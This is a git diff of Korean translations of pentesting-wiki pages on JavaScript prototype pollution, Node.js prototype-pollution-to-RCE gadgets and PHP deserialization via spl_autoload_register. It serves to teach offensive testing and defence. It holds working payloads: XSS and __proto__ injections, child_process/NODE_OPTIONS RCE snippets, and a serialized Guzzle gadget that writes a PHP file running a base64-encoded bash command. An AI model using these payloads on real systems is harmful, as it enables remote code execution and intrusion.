JS에서 객체의 속성을 오염시킬 수 있는 것처럼, 배열에 오염시킬 수 있는 접근 권한이 있다면 **인덱스를 통해 접근 가능한 배열의 값도 오염시킬 수 있습니다** (값을 덮어쓸 수는 없으므로, 어떤 식으로든 사용되지만 작성되지 않은 인덱스를 오염시켜야 합니다).
```javascript
c = [1, 2]
a = []
@ -156,7 +156,7 @@ c[1] // 2 -- not
```
### Html elements pollution
JS를 통해 HTML 요소를 생성할 때 **`innerHTML`** 속성을 **덮어쓰는** 것이 가능하여 **임의의 HTML 코드를 작성**할 수 있습니다. [이 글에서 아이디어와 예시](https://blog.huli.tw/2022/04/25/en/intigriti-0422-xss-challenge-author-writeup/)입니다.
JS를 통해 HTML 요소를 생성할 때 **`innerHTML`** 속성을 **덮어쓰는** 것이 가능하여 **임의의 HTML 코드를 작성**할 수 있습니다. [이 글에서 아이디어와 예시](https://blog.huli.tw/2022/04/25/en/intigriti-0422-xss-challenge-author-writeup/)를 참조하세요.
```javascript
// Create element
devSettings["root"] = document.createElement('main')
@ -171,13 +171,13 @@ settings[root][ownerDocument][body][innerHTML]="<svg onload=alert(document.domai
### 기본 예제
프로토타입 오염은 `Object.prototype`의 속성을 덮어쓸 수 있는 애플리케이션의 결함으로 인해 발생합니다. 이는 대부분의 객체가 `Object.prototype`에서 속성을 파생기 때문에 의미합니다.
프로토타입 오염은 `Object.prototype`의 속성을 덮어쓸 수 있는 애플리케이션의 결함으로 인해 발생합니다. 이는 대부분의 객체가 `Object.prototype`에서 속성을 파생시키기 때문에 의미합니다.
가장 쉬운 예는 확인될 객체의 **정의되지 않은 속성에 값을 추가하는 것**입니다.
```javascript
if (user.admin) {
```
속성 **`admin`이 정의되지 않은 경우** PP를 악용하고 다음과 같이 True로 설정할 수 있습니다:
속성 **`admin`이 정의되지 않은 경우** PP를 악용하고 다음과 같이 True로 설정할 수 있습니다:
```javascript
Object.prototype.isAdmin = true
let user = {}
@ -213,7 +213,7 @@ client-side-prototype-pollution.md
### CVE-201911358: jQuery $ .extend를 통한 프로토타입 오염 공격
[자세한 내용은 이 기사를 확인하세요](https://itnext.io/prototype-pollution-attack-on-nodejs-applications-94a8582373e7) jQuery에서 `$ .extend` 함수는 깊은 복사 기능이 잘못 사용될 경우 프로토타입 오염을 초래할 수 있습니다. 이 함수는 일반적으로 객체를 복제하거나 기본 객체에서 속성을 병합하는 데 사용됩니다. 그러나 잘못 구성되면 새로운 객체를 위한 속성이 대신 프로토타입에 할당될 수 있습니다. 예를 들어:
[자세한 내용은 이 기사를 확인하세요](https://itnext.io/prototype-pollution-attack-on-nodejs-applications-94a8582373e7) jQuery에서 `$ .extend` 함수는 깊은 복사 기능이 잘못 사용될 경우 프로토타입 오염을 초래할 수 있습니다. 이 함수는 일반적으로 객체를 복제하거나 기본 객체 속성을 병합하는 데 사용됩니다. 그러나 잘못 구성되면 새로운 객체를 위한 속성이 대신 프로토타입에 할당될 수 있습니다. 예를 들어:
```javascript
$.extend(true, {}, JSON.parse('{"__proto__": {"devMode": true}}'))
console.log({}.devMode) // Outputs: true
@ -230,14 +230,14 @@ console.log({}.devMode) // Outputs: true
{% embed url="https://infosecwriteups.com/javascript-prototype-pollution-practice-of-finding-and-exploitation-f97284333b2" %}
### 프로토타입 오염을 감지하는 도구
### 프로토타입 오염 탐지를 위한 도구
- [**Server-Side-Prototype-Pollution-Gadgets-Scanner**](https://github.com/doyensec/Server-Side-Prototype-Pollution-Gadgets-Scanner): 웹 애플리케이션에서 서버 측 프로토타입 오염 취약점을 지하고 분석하기 위해 설계된 Burp Suite 확장입니다. 이 도구는 요청을 스캔하여 잠재적인 프로토타입 오염 문제를 식별하는 과정을 자동화합니다. 이는 알려진 가젯 - 프로토타입 오염을 활용하여 해로운 작업을 실행하는 방법 - 을 악용하며, 특히 Node.js 라이브러리에 중점을 둡니다.
- [**Server-Side-Prototype-Pollution-Gadgets-Scanner**](https://github.com/doyensec/Server-Side-Prototype-Pollution-Gadgets-Scanner): 웹 애플리케이션에서 서버 측 프로토타입 오염 취약점을 지하고 분석하기 위해 설계된 Burp Suite 확장입니다. 이 도구는 요청을 스캔하여 잠재적인 프로토타입 오염 문제를 식별하는 과정을 자동화합니다. 이는 알려진 가젯 - 프로토타입 오염을 활용하여 해로운 작업을 실행하는 방법 - 을 악용하며, 특히 Node.js 라이브러리에 중점을 둡니다.
- [**server-side-prototype-pollution**](https://github.com/portswigger/server-side-prototype-pollution): 이 확장은 서버 측 프로토타입 오염 취약점을 식별합니다. 이는 [서버 측 프로토타입 오염](https://portswigger.net/research/server-side-prototype-pollution)에서 설명된 기술을 사용합니다.
### NodeJS의 AST 프로토타입 오염
NodeJS는 템플릿 엔진 및 TypeScript와 같은 기능을 위해 JavaScript에서 추상 구문 트리(AST)를 광범위하게 활용합니다. 이 섹션에서는 템플릿 엔진, 특히 Handlebars와 Pug에서 프로토타입 오염과 관련된 취약점을 탐구합니다.
NodeJS는 템플릿 엔진 및 TypeScript와 같은 기능을 위해 JavaScript에서 추상 구문 트리(AST)를 광범위하게 활용합니다. 이 섹션에서는 템플릿 엔진, 특히 Handlebars와 Pug에서 프로토타입 오염과 관련된 취약점을 탐구합니다.
#### Handlebars 취약점 분석
@ -248,8 +248,8 @@ Handlebars 템플릿 엔진은 프로토타입 오염 공격에 취약합니다.
악용은 Handlebars에 의해 생성된 AST(추상 구문 트리)를 활용하며, 다음 단계를 따릅니다:
1. **파서 조작**: 처음에 파서는 `NumberLiteral` 노드를 통해 값이 숫자여야 한다고 강제합니다. 프로토타입 오염은 이를 우회할 수 있어 비숫자 문자열을 삽입할 수 있게 합니다.
2. **컴파일러에 의한 처리**: 컴파일러는 AST 객체 또는 문자열 템플릿을 처리할 수 있습니다. `input.type``Program`과 같으면 입력이 미리 파싱된 것으로 간주되어 악용될 수 있습니다.
3. **코드 주입**: `Object.prototype`을 조작하여 템플릿 함수에 임의의 코드를 주입할 수 있으며, 이는 원격 코드 실행으로 이어질 수 있습니다.
2. **컴파일러에 의한 처리**: 컴파일러는 AST 객체 또는 문자열 템플릿을 처리할 수 있습니다. 만약 `input.type``Program`과 같다면, 입력은 미리 파싱된 것으로 간주되어 악용될 수 있습니다.
3. **코드 주입**: `Object.prototype`의 조작을 통해 템플릿 함수에 임의의 코드를 주입할 수 있으며, 이는 원격 코드 실행으로 이어질 수 있습니다.
Handlebars 취약점의 악용을 보여주는 예:
```javascript
@ -343,10 +343,10 @@ requests.get(TARGET_URL)
5. **Map 사용**: 키-값 쌍을 저장할 때 `Object` 대신 `Map`을 사용해야 합니다.
6. **라이브러리 업데이트**: 라이브러리를 정기적으로 업데이트하여 보안 패치를 통합할 수 있습니다.
7. **린터 및 정적 분석 도구**: ESLint와 적절한 플러그인을 사용하여 프로토타입 오염 취약점을 감지하고 방지하는 도구를 사용하세요.
8. **코드 리뷰**: 프로토타입 오염과 관련된 잠재적 위험을 식별하고 수정하기 위해 철저한 코드 리뷰를 구현하세요.
8. **코드 리뷰**: 프로토타입 오염과 관련된 잠재적 위험을 식별하고 수정하기 위해 철저한 코드 리뷰를 시행하세요.
9. **보안 교육**: 개발자에게 프로토타입 오염의 위험과 안전한 코드를 작성하기 위한 모범 사례에 대해 교육하세요.
10. **라이브러리 사용 시 주의**: 서드파티 라이브러리를 사용할 때 주의하세요. 그들의 보안 상태를 평가하고, 특히 객체를 조작하는 코드에 대해 검토하세요.
11. **런타임 보호**: 프로토타입 오염 공격을 감지하고 방지할 수 있는 보안 중심의 npm 패키지를 사용하는 등 런타임 보호 메커니즘을 사용하세요.
11. **런타임 보호**: 프로토타입 오염 공격을 감지하고 방지할 수 있는 보안 중심의 npm 패키지를 사용하는 등 런타임 보호 메커니즘을 사용하세요.
## 참고 문헌

View File

@ -21,13 +21,13 @@ return "test"
```
### Prototype Pollution의 근본 원인 찾기 <a href="#id-5530" id="id-5530"></a>
프로토타입 오염 취약점이 도구에 의해 식별되면, 코드가 지나치게 복잡하지 않은 경우, Chrome 개발자 도구에서 `location.hash`, `decodeURIComponent` 또는 `location.search`와 같은 키워드를 검색하여 취약점을 찾을 수 있습니다. 이 접근 방식은 JavaScript 코드의 취약한 섹션을 정확히 찾아내는 데 도움이 됩니다.
프로토타입 오염 취약점이 도구에 의해 식별되면, 코드가 지나치게 복잡하지 않은 경우, Chrome 개발자 도구에서 `location.hash`, `decodeURIComponent`, 또는 `location.search`와 같은 키워드를 검색하여 취약점을 찾을 수 있습니다. 이 접근 방식은 JavaScript 코드의 취약한 섹션을 정확히 찾아내는 데 도움이 됩니다.
더 크고 복잡한 코드베이스의 경우, 취약한 코드를 발견하는 간단한 방법은 다음 단계를 포함합니다:
1. 도구를 사용하여 취약점을 식별하고 생성자에서 속성을 설정하도록 설계된 페이로드를 얻습니다. ppmap에서 제공하는 예시는 다음과 같을 수 있습니다: `constructor[prototype][ppmap]=reserved`.
2. 페이지에서 실행될 JavaScript 코드의 첫 번째 줄에 중단점을 설정합니다. 페이로드로 페이지를 새로 고치고 이 중단점에서 실행을 일시 중지합니다.
3. JavaScript 실행이 일시 중지된 동안, JS 콘솔에서 다음 스크립트를 실행합니다. 이 스크립트는 'ppmap' 속성이 생성될 때 신호를 보내며, 그 출처를 찾는 데 도움이 됩니다:
3. JavaScript 실행이 일시 중지된 동안, JS 콘솔에서 다음 스크립트를 실행합니다. 이 스크립트는 'ppmap' 속성이 생성될 때 신호를 보내어 그 출처를 찾는 데 도움을 줍니다:
```javascript
function debugAccess(obj, prop, debugGet = true) {
var origValue = obj[prop]
@ -46,9 +46,9 @@ origValue = val
debugAccess(Object.prototype, "ppmap")
```
4. **소스** 탭으로 돌아가서 “스크립트 실행 재개”를 선택합니다. JavaScript는 계속 실행되며, 'ppmap' 속성이 예상대로 오염됩니다. 제공된 스니펫을 활용하면 'ppmap' 속성이 오염 정확한 위치를 식별할 수 있습니다. **호출 스택**을 검사하면 오염이 발생한 다양한 스택을 관찰할 수 있습니다.
4. **소스** 탭으로 돌아가서 “스크립트 실행 재개”를 선택합니다. JavaScript는 계속 실행되며, 'ppmap' 속성이 예상대로 오염됩니다. 제공된 스니펫을 활용하면 'ppmap' 속성이 오염되는 정확한 위치를 식별할 수 있습니다. **호출 스택**을 검사하면 오염이 발생한 다양한 스택을 관찰할 수 있습니다.
어떤 스택을 조사할지 결정할 때, JavaScript 라이브러리 파일과 관련된 스택을 목표로 하는 것이 유용합니다. 프로토타입 오염은 이러한 라이브러리 내에서 자주 발생하기 때문입니다. 라이브러리 파일에 대한 연결을 검사하여 관련 스택을 식별합니다(오른쪽에 표시되며, 안내를 위한 이미지와 유사합니다). 4행과 6행과 같이 여러 스택이 있는 경우, 4행의 스택이 논리적인 선택입니다. 이는 오염의 초기 발생을 나타내며, 따라서 취약점의 근본 원인입니다. 스택을 클릭하면 취약한 코드로 이동합니다.
어떤 스택을 조사할지 결정할 때, JavaScript 라이브러리 파일과 관련된 스택을 목표로 하는 것이 유용합니다. 프로토타입 오염은 이러한 라이브러리 내에서 자주 발생하기 때문입니다. 라이브러리 파일에 대한 연결을 검사하여 관련 스택을 식별합니다(오른쪽에 표시된 이미지와 유사하게). 4행과 6행과 같이 여러 스택이 있는 경우, 4행의 스택이 논리적인 선택입니다. 이는 오염의 초기 발생을 나타내며, 따라서 취약점의 근본 원인입니다. 스택을 클릭하면 취약한 코드로 이동합니다.
![https://miro.medium.com/max/1400/1*S8NBOl1a7f1zhJxlh-6g4w.jpeg](https://miro.medium.com/max/1400/1*S8NBOl1a7f1zhJxlh-6g4w.jpeg)
@ -67,9 +67,9 @@ debugAccess(Object.prototype, "ppmap")
- [https://portswigger.net/web-security/cross-site-scripting/cheat-sheet#prototype-pollution](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet#prototype-pollution)
- [https://github.com/BlackFan/client-side-prototype-pollution](https://github.com/BlackFan/client-side-prototype-pollution)
## PP를 통한 HTML 세니타이저 우회
## PP를 통한 HTML 세정기 우회
[**이 연구**](https://research.securitum.com/prototype-pollution-and-bypassing-client-side-html-sanitizers/)는 일부 HTML 세니타이저 라이브러리에서 제공하는 **세니타이즈를 우회하기 위해 사용할 PP 가젯**을 보여줍니다:
[**이 연구**](https://research.securitum.com/prototype-pollution-and-bypassing-client-side-html-sanitizers/)는 일부 HTML 세정기 라이브러리에서 제공하는 **세정기를 우회하기 위해 사용할 PP 가젯**을 보여줍니다:
- **sanitize-html**
@ -101,7 +101,7 @@ const node = goog.dom.safeHtmlToNode(sanitized);
document.body.append(node);
</script>
```
## References
## 참고문헌
- [https://infosecwriteups.com/hunting-for-prototype-pollution-and-its-vulnerable-code-on-js-libraries-5bab2d6dc746](https://infosecwriteups.com/hunting-for-prototype-pollution-and-its-vulnerable-code-on-js-libraries-5bab2d6dc746)
- [https://blog.s1r1us.ninja/research/PP](https://blog.s1r1us.ninja/research/PP)

View File

@ -20,7 +20,7 @@ res.send(req.body)
```json
{ "__proto__": { "_body": true, "body": "<script>evil()" } }
```
**`body`** 및 **`_body`** 속성을 **오염시킴으로써**, **Express가 HTML 콘텐츠 유형을 제공하도록** 하고, `_body` 속성을 반영하게 할 수 있어 저장된 XSS를 초래할 수 있습니다.
**`body`** 및 **`_body`** 속성을 **오염시킴으로써**, **Express가 HTML 콘텐츠 유형을 제공하고** `_body` 속성을 반영하게 할 수 있으며, 이로 인해 저장된 XSS가 발생할 수 있습니다.
### UTF7 렌더링
@ -32,11 +32,11 @@ Express가 **UTF-7 콘텐츠를 렌더링하도록** 만들 수 있습니다:
### JSON 공백
다음 PP는 JSON 내부의 속성에 추가 공백을 만들어 기능이 중단되지 않도록 합니다:
다음 PP는 JSON 내부의 속성에 추가 공백을 추가하여 기능이 손상되지 않도록 합니다:
```json
{ "__proto__": { "json spaces": " " } }
```
그럼 반사된 JSON은 다음과 같니다:
그럼 반사된 JSON은 다음과 같이 보입니다:
```json
{"foo": "bar"} -- Note the extra space
```
@ -76,11 +76,11 @@ Express가 **UTF-7 콘텐츠를 렌더링하도록** 만들 수 있습니다:
```
### Reflected Value
응용 프로그램이 응답에 객체를 포함할 때, **`__proto__`와 함께 비정상적인 이름의 속성을 생성하는 것**은 유용할 수 있습니다. 특히, **응답에 비정상적인 속성만 반환되는 경우**, 이는 응용 프로그램의 취약점을 나타낼 수 있습니다:
응용 프로그램이 응답에 객체를 포함할 때, **`__proto__`와 함께 비정상적인 이름의 속성을 생성하는 것**은 유용할 수 있습니다. 특히, **응답에 비정상적인 속성만 반환되는 경우** 이는 응용 프로그램의 취약점을 나타낼 수 있습니다:
```json
{ "unusualName": "value", "__proto__": "test" }
```
또한 Lodash와 같은 라이브러리가 사용되는 시나리오에서는 프로토타입 오염(PP)을 통해 속성을 설정하 객체 내부에서 직접 설정하는 것이 또 다른 진단 접근 방식을 제공합니다. 이러한 속성이 응답에서 생략되면, Lodash가 병합하기 전에 대상 객체에서 속성의 존재를 확인하고 있음을 나타냅니다:
또한 Lodash와 같은 라이브러리가 사용되는 시나리오에서는 프로토타입 오염(PP)을 통해 속성을 설정하는 것과 객체 내부에서 직접 설정하는 것이 또 다른 진단 접근 방식을 제공합니다. 만약 이러한 속성이 응답에서 생략된다면, 이는 Lodash가 병합하기 전에 대상 객체에서 속성의 존재를 확인하고 있음을 시사합니다.
```javascript
{"__proto__":{"a":"value1"},"a":"value2","b":"value3"}
// If 'b' is the only property reflected, this indicates prototype pollution in Lodash

View File

@ -41,7 +41,7 @@ var proc = fork("a_file.js")
**PP2RCE**는 **Prototype Pollution to RCE** (원격 코드 실행)을 의미합니다.
이 [**writeup**](https://research.securitum.com/prototype-pollution-rce-kibana-cve-2019-7609/)에 따르면, **`child_process`**의 어떤 메서드(예: `fork` 또는 `spawn` 등)를 사용하여 **프로세스가 생성**될 때, 새로운 env vars를 생성하기 위한 **프로토타입 오염 가젯**인 `normalizeSpawnArguments` 메서드가 호출됩니다:
이 [**writeup**](https://research.securitum.com/prototype-pollution-rce-kibana-cve-2019-7609/)에 따르면, **`child_process`**의 일부 메서드(예: `fork` 또는 `spawn` 등)를 사용하여 **프로세스가 생성**될 때, 새로운 env vars를 생성하기 위한 **프로토타입 오염 가젯**인 `normalizeSpawnArguments` 메서드가 호출됩니다:
```javascript
//See code in https://github.com/nodejs/node/blob/02aa8c22c26220e16616a88370d111c0229efe5e/lib/child_process.js#L638-L686
@ -61,13 +61,13 @@ ArrayPrototypePush(envPairs, `${key}=${value}`); // <-- Pollution
}
}
```
코드를 확인해보면 **`.env` 속성을** **오염시킴으로써 `envPairs`**를 **독살**할 수 있는 것이 가능합니다.
코드를 확인해보면 **`.env` 속성을** **오염시킴으로써** **`envPairs`**를 **독살**할 수 있는 것이 가능합니다.
### **`__proto__` 독살**
> [!WARNING]
> **`child_process`** 라이브러리의 **`normalizeSpawnArguments`** 함수가 작동하는 방식 때문에, 프로세스에 **새로운 env 변수를 설정하기 위해** 무언가를 호출할 때 **무엇이든 오염시키기만 하면** 됩니다.\
> 예를 들어, `__proto__.avar="valuevar"`를 실행하면 프로세스는 `avar`라는 이름의 변수를 `valuevar` 값으로 가진 로 생성됩니다.
> 예를 들어, `__proto__.avar="valuevar"`를 실행하면 프로세스는 `avar`라는 이름의 변수를 `valuevar` 값으로 가진 상태로 생성됩니다.
>
> 그러나 **env 변수가 첫 번째가 되기 위해서는** **`.env` 속성을** **오염시켜야** 하며 (일부 방법에서만) 그 변수가 **첫 번째**가 됩니다 (공격을 허용함).
>
@ -122,9 +122,9 @@ var proc = fork("a_file.js")
```
## PP2RCE via env vars + cmdline
이전과 유사한 페이로드가 [**이 글**](https://blog.sonarsource.com/blitzjs-prototype-pollution/)**에서** 제안되었습니다. 주요 차이점은 다음과 같습니다:
이전과 유사한 페이로드가 [**이 글**](https://blog.sonarsource.com/blitzjs-prototype-pollution/)에서 제안되었습니다. 주요 차이점은 다음과 같습니다:
- nodejs **payload**를 파일 `/proc/self/environ`에 저장하는 대신, **`/proc/self/cmdline`**의 argv0에 저장합니다.
- nodejs **payload**를 파일 `/proc/self/environ`에 저장하는 대신, **`/proc/self/cmdline`**의 **argv0** 안에 저장합니다.
- 그런 다음, **`NODE_OPTIONS`**를 통해 파일 `/proc/self/environ`을 요구하는 대신, **`/proc/self/cmdline`**을 요구합니다.
```javascript
const { execSync, fork } = require("child_process")
@ -228,7 +228,7 @@ var proc = execFile("/usr/bin/node")
// Windows - not working
```
**`execFile`**가 작동하려면 **반드시 node를 실행해야** NODE_OPTIONS가 작동합니다.\
만약 **node**를 실행하지 않는다면, **환경 변수를 사용하여 실행을 변경**할 수 있는 방법을 찾아야 합니다.
**node**를 실행하지 않는 경우, 실행 중인 것을 **환경 변수를 사용하여 변경**할 수 있는 방법을 찾아야 합니다.
**다른** 기술들은 이 요구 사항 없이 **작동**합니다. 왜냐하면 **프로토타입 오염**을 통해 **실행되는 것**을 수정할 수 있기 때문입니다. (이 경우, `.shell`을 오염시킬 수 있더라도, 실행되는 것을 오염시킬 수는 없습니다).
@ -236,7 +236,7 @@ var proc = execFile("/usr/bin/node")
<details>
<summary><code>fork</code> exploitation</summary>
<summary><code>fork</code> 취약점</summary>
```javascript
// environ trick - working
// Working after kEmptyObject (fix)
@ -463,7 +463,7 @@ var proc = spawnSync("something")
## 강제 스폰
이전 예제에서는 가젯을 트리거하는 방법을 보았고, **`spawn`**을 호출하는 기능이 **존재해야** 합니다(무언가를 실행하기 위해 사용되는 모든 **`child_process`** 메서드는 이를 호출합니다). 이전 예제에서는 **코드의 일부**였지만, 코드가 **호출하지 않는다면** 어떻게 될까요?
이전 예제에서는 가젯을 트리거하는 방법을 보았고, **`spawn`**을 호출하는 기능이 **존재해야** 한다는 것을 알았습니다 (무언가를 실행하기 위해 사용되는 모든 **`child_process`** 메서드는 이를 호출합니다). 이전 예제에서는 **코드의 일부**였지만, 코드가 **호출하지 않는다면** 어떻게 될까요?
### require 파일 경로 제어
@ -474,7 +474,7 @@ var proc = spawnSync("something")
- /opt/yarn-v1.22.19/preinstall.js
- **아래에서 더 많은 파일 찾기**
다음 간단한 스크립트는 **패딩 없이** **child_process**의 **호출**을 검색합니다(함수 내의 호출을 표시하지 않기 위해):
다음 간단한 스크립트는 **패딩 없이** **child_process**의 **호출**을 검색합니다 (함수 내의 호출을 표시하지 않기 위해):
```bash
find / -name "*.js" -type f -exec grep -l "child_process" {} \; 2>/dev/null | while read file_path; do
grep --with-filename -nE "^[a-zA-Z].*(exec\(|execFile\(|fork\(|spawn\(|execFileSync\(|execSync\(|spawnSync\()" "$file_path" | grep -v "require(" | grep -v "function " | grep -v "util.deprecate" | sed -E 's/.{255,}.*//'
@ -502,7 +502,7 @@ done
> [!WARNING]
> **이전 기술은** **사용자가 파일의 경로를 제어해야** 한다는 **전제 조건이 있습니다**. 하지만 이것이 항상 사실은 아닙니다.
그러나 코드가 프로토타입 오염 후에 require를 실행할 경우, 경로를 **제어하지 않더라도** 프로토타입 오염을 악용하여 **다른 경로를 강제로 지정할 수 있습니다**. 따라서 코드 라인이 `require("./a_file.js")` 또는 `require("bytes")`와 같더라도 **오염된 패키지를 require하게 됩니다**.
그러나 코드가 프로토타입 오염 후에 require를 실행할 경우, 경로를 **제어하지 않더라도** 프로토타입 오염을 악용하여 **다른 경로를 강제로 지정할 수 있습니다**. 따라서 코드 라인이 `require("./a_file.js")` 또는 `require("bytes")`와 같더라도 **오염된 패키지를 require할 것입니다**.
따라서 프로토타입 오염 후에 require가 실행되고 spawn 함수가 없으면, 공격은 다음과 같습니다:
@ -598,7 +598,7 @@ fork("/path/to/anything")
#### 상대 require - 2
{{#tabs}}
{{#tab name="exploit"}}
{{#tab name="익스플로잇"}}
```javascript
// Create a file called malicious.js in /tmp
// Contents of malicious.js in the other tab
@ -668,9 +668,9 @@ require("./usage.js")
프로토타입 오염은 접근하는 객체의 **속성**이 **정의되지 않은** 경우에만 작동합니다. **코드**에서 해당 **속성**이 **값**으로 **설정**되면 **덮어쓸 수 없습니다**.
2022년 6월, [**이 커밋**](https://github.com/nodejs/node/commit/20b0df1d1eba957ea30ba618528debbe02a97c6a)에서 var `options``{}` 대신 **`kEmptyObject`**입니다. 이는 **프로토타입 오염**이 **`options`**의 **속성**에 영향을 미치는 것을 방지합니다.\
최소한 v18.4.0부터 이 보호가 **구현**되었으며, 따라서 `spawn``spawnSync` **익스플로잇**은 더 이상 작동하지 않습니다 (옵션이 사용되지 않는 경우!).
최소한 v18.4.0부터 이 보호가 **구현**되었으며, 따라서 `spawn``spawnSync` **익스플로잇**은 더 이상 작동하지 않습니다(옵션이 사용되지 않는 경우!).
[**이 커밋**](https://github.com/nodejs/node/commit/0313102aaabb49f78156cadc1b3492eac3941dd9)에서는 vm 라이브러리의 **`contextExtensions`**의 **프로토타입 오염**이 **`{}`** 대신 **`kEmptyObject`**로 설정되어 **어느 정도 수정**되었습니다.
[**이 커밋**](https://github.com/nodejs/node/commit/0313102aaabb49f78156cadc1b3492eac3941dd9)에서는 vm 라이브러리의 **`contextExtensions`**의 **프로토타입 오염**이 **`{}`** 대신 **`kEmptyObject`**로 설정하여 **어느 정도 수정**되었습니다.
### **Other Gadgets**

View File

@ -2,7 +2,7 @@
{{#include ../../banners/hacktricks-training.md}}
먼저, [**자동 로딩 클래스**](https://www.php.net/manual/en/language.oop5.autoload.php)가 무엇인지 확인해야 합니다.
먼저, [**Autoloading Classes**](https://www.php.net/manual/en/language.oop5.autoload.php)가 무엇인지 확인해야 합니다.
## PHP deserialization + spl_autoload_register + LFI/Gadget
@ -12,8 +12,8 @@
- **deserialization**을 발견했지만 현재 앱 코드에 **gadget**이 **없습니다**
- 다음과 같은 **`spl_autoload_register`** 함수를 악용하여 **`.php` 확장자를 가진 로컬 파일을 로드**할 수 있습니다
- 이를 위해 클래스 이름이 **`$name`** 안에 들어가도록 deserialization을 사용합니다. 직렬화된 객체의 클래스 이름에 **"/" 또는 "."**를 사용할 수 없지만, **코드**는 **언더스코어**("\_")를 **슬래시**("/")로 **대체**합니다. 따라서 `tmp_passwd`와 같은 클래스 이름은 `/tmp/passwd.php`로 변환되고, 코드는 이를 로드하려고 시도합니다.\
**gadget 예시**는: **`O:10:"tmp_passwd":0:{}`**
- 이를 위해 클래스 이름이 **`$name`** 안에 들어가도록 deserialization을 사용합니다. 직렬화된 객체의 클래스 이름에 **"/" 또는 "."**를 사용할 수 없지만, **코드**는 **언더스코어**("\_")를 **슬래시**("/")로 **변경**합니다. 따라서 `tmp_passwd`와 같은 클래스 이름은 `/tmp/passwd.php`로 변환되고, 코드는 이를 로드하려고 시도합니다.\
**gadget 예시**는: **`O:10:"tmp_passwd":0:{}`**입니다.
```php
spl_autoload_register(function ($name) {
@ -36,29 +36,29 @@ require __DIR__ . $filename;
});
```
> [!TIP]
> 만약 **파일 업로드**가 가능하고 **`.php` 확장자**를 가진 파일을 업로드할 수 있다면, 이 기능을 **직접 악용**하여 이미 RCE를 얻을 수 있습니다.
> **파일 업로드**가 가능하고 **`.php` 확장자**를 가진 파일을 업로드할 수 있다면, 이 기능을 **직접 악용**하여 이미 RCE를 얻을 수 있습니다.
내 경우에는 그런 것이 없었지만, **같은 컨테이너** 안에 **`phpggc` 가젯에 취약한 라이브러리를 가진 다른 composer 웹 페이지가 있었습니다.**
- 이 다른 라이브러리를 로드하려면, 먼저 **그 다른 웹 앱의 composer 로더를 로드해야** 합니다 (현재 애플리케이션의 로더는 다른 애플리케이션의 라이브러리에 접근할 수 없습니다). **애플리케이션의 경로를 알고** 있다면, **`O:28:"www_frontend_vendor_autoload":0:{}`**를 사용하여 이를 매우 쉽게 달성할 수 있습니다. (내 경우, composer 로더는 `/www/frontend/vendor/autoload.php`에 있었습니다.)
- 이제 **다른 앱의 composer 로더를 로드**할 수 있으므로, **사용할 `phpgcc`** **페이로드를 생성할** 시간입니다. 내 경우, **`Guzzle/FW1`**을 사용하여 **파일 시스템 내의 모든 파일을 쓸 수** 있었습니다.
- 참고: **생성된 가젯이 작동하지 않았습니다.** 작동하게 하려면 **`chain.php`** 페이로드를 **수정**하고 **모든 속성**을 **private에서 public으로** 설정했습니다. 그렇지 않으면, 문자열을 역직렬화한 후 생성된 객체의 속성에 값이 없었습니다.
- 이제 **다른 앱의 composer 로더를 로드**할 방법과 **작동하는 phpggc 페이로드**가 있지만, **가젯이 사용될 때 로더가 로드되도록 동일한 요청에서 이를 수행해야** 합니다. 이를 위해 두 개의 객체가 포함된 직렬화된 배열을 보냈습니다:
- **먼저 로더가 로드되고 그 다음 페이로드가 보이는 것을 확인할 수 있습니다.**
- 이 다른 라이브러리를 로드하려면, 먼저 **그 다른 웹 앱의 composer 로더를 로드해야** 합니다 (현재 애플리케이션의 로더는 다른 애플리케이션의 라이브러리에 접근할 수 없습니다). **애플리케이션의 경로를 알고** 있다면, **`O:28:"www_frontend_vendor_autoload":0:{}`**를 사용하여 매우 쉽게 이를 달성할 수 있습니다. (내 경우, composer 로더는 `/www/frontend/vendor/autoload.php`에 있었습니다.)
- 이제 **다른 앱의 composer 로더를 로드**할 수 있으므로, **사용할 `phpgcc`** **페이로드를 생성할** 시간입니다. 내 경우에는 **`Guzzle/FW1`**을 사용하여 **파일 시스템 내의 모든 파일을 쓸 수** 있었습니다.
- 주의: **생성된 가젯이 작동하지 않았습니다.** 작동하게 하려면 **`chain.php`**의 phpggc 페이로드를 **수정**하고 **모든 속성**을 **private에서 public으로** 설정했습니다. 그렇지 않으면 문자열을 역직렬화한 후 생성된 객체의 속성에 값이 없었습니다.
- 이제 **다른 앱의 composer 로더를 로드할 방법**이 생겼고 **작동하는 phpggc 페이로드**도 있지만, **가젯이 사용될 때 로더가 로드되도록 동일한 요청에서 이를 수행해야** 합니다. 이를 위해 두 객체가 포함된 직렬화된 배열을 보냈습니다:
- **먼저 로더가 로드되고 그 다음 페이로드가 로드되는** 것을 볼 수 있습니다.
```php
a:2:{s:5:"Extra";O:28:"www_frontend_vendor_autoload":0:{}s:6:"Extra2";O:31:"GuzzleHttp\Cookie\FileCookieJar":4:{s:7:"cookies";a:1:{i:0;O:27:"GuzzleHttp\Cookie\SetCookie":1:{s:4:"data";a:3:{s:7:"Expires";i:1;s:7:"Discard";b:0;s:5:"Value";s:56:"<?php system('echo L3JlYWRmbGFn | base64 -d | bash'); ?>";}}}s:10:"strictMode";N;s:8:"filename";s:10:"/tmp/a.php";s:19:"storeSessionCookies";b:1;}}
```
- 이제 **파일을 생성하고 쓸 수** 있지만, 사용자가 **웹 서버 내의 어떤 폴더에도 쓸 수는 없습니다**. 따라서 페이로드에서 볼 수 있듯이, PHP가 **`system`**을 호출하여 **base64**로 **`/tmp/a.php`**에 생성됩니다. 그런 다음, 우리는 **다른 웹앱의 composer 로더를 로드하기 위해 LFI 사용했던 첫 번째 유형의 페이로드를 재사용할 수 있습니다** **생성된 `/tmp/a.php`** 파일을 로드합니다. 이를 역직렬화 가젯에 추가하기만 하면 됩니다:&#x20;
- 이제 **파일을 생성하고 쓸 수** 있지만, 사용자가 **웹 서버 내의 어떤 폴더에도 쓸 수는 없습니다**. 따라서 페이로드에서 볼 수 있듯이, PHP가 **`system`**을 호출하여 **base64**로 **`/tmp/a.php`**에 생성됩니다. 그런 다음, 우리는 **다른 웹앱의 composer 로더를 로드하기 위해 LFI 사용했던 첫 번째 유형의 페이로드를 재사용할 수 있습니다** **생성된 `/tmp/a.php`** 파일을 로드합니다. 이를 역직렬화 가젯에 추가하기만 하면 됩니다:&#x20;
```php
